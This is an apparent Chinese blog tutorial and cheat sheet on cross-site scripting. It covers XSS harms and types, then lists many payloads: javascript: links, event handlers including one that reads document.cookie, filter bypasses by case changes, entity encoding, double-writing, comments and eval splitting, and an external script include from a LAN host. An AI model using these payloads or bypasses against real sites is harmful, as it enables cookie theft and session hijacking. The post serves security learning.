XSS漏洞危害
1、盗取各种用户账号
2、窃取用户cookie
3、劫持用户会话
4、刷流量,执行弹窗
漏洞分类
1、存储型
将特殊语句存储到页面,只要目标浏览该网页,就会被攻击,比如留言板。
2、反射型
只能利用一次,必须构造特殊的连接让目标点击,比如上面的登录界面
3、DOM型
不与服务器进行交互,利用在本地渲染网页时触发
payload构造
伪协议

<a href="javascript:alert(123)">aiyou</a>

事件

<img src="./1.jpg" onmouseover='alert(123)'>
<img src="#" onerror='alert(document.cookie)'>
<input type="text" onkeydown="alert(123)">
<input type="button" onclick="alert(123)">
<div style="width:expression(alert(xss))">

绕过防护
1、大小写绕过

<SCript>alert(123)</SCript>

2、引号的使用

<img src="#" onerror="alert(123)"/>
<img src='#' onerror='alert(123)'/>
<img src=# οnerrοr=alert(123) />

3、“/”代替空格

<img/src='#'/Onerror='alert(123)'>

4、对标签属性值转码

url编码:考虑到安全传输问题,防止URL字符丢失,将不安全字符编码为安全字符再进行传输
html编码:一些保留字符出现在文本节点和标签值中是不安全的,比如<>会导致浏览器误认为是标签,如果想要正确显示这些字符,需要html编码
html编码分为两种:一是实体编码 一般以&开头 ;结尾 这样<就会转换为真实的<   二是进制编码 以&#开头 ;结尾  字符数值可以是任意的十进制ASCII编码或Unicode编码
js编码:数字进制编码 \u后面加4位16进制数(unicode)   或者 \X后面加2位的16进制数(16进制编码)   按照字符的Unicode数值进行编码,不足位数以0填充
字母    ASCII  十进制编码  十六进制编码
a        97         &#97;        &#x61;

<a href="j&#97;v&#x61script:alert(123)">aiyou</a>
<img src=x onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">  alert(1)

5、头插入&#01;尾插入&#02;

<a href="&#01;j&#97;v&#x61script:alert(123)&#02;">aiyou</a>

6、拆分

<script>z='alert'</script>
<script>z=z+'(123)'</script>
<script>eval(z)</script>

7、双写绕过

<scrscriptipt>alert(123)</scscriptript>

8、注释绕过

<scr<!--test-->ipt>alert(1)</scr<!--test-->ipt>

六、外部调用
1、新建一个xss.js,内容为alert(213);
2、构建paylaod,提交

<script src="http://192.168.x.xxx/js/xss.js"></script>
posted on 2022-09-13 18:14  noone52  阅读(53)  评论(0编辑  收藏  举报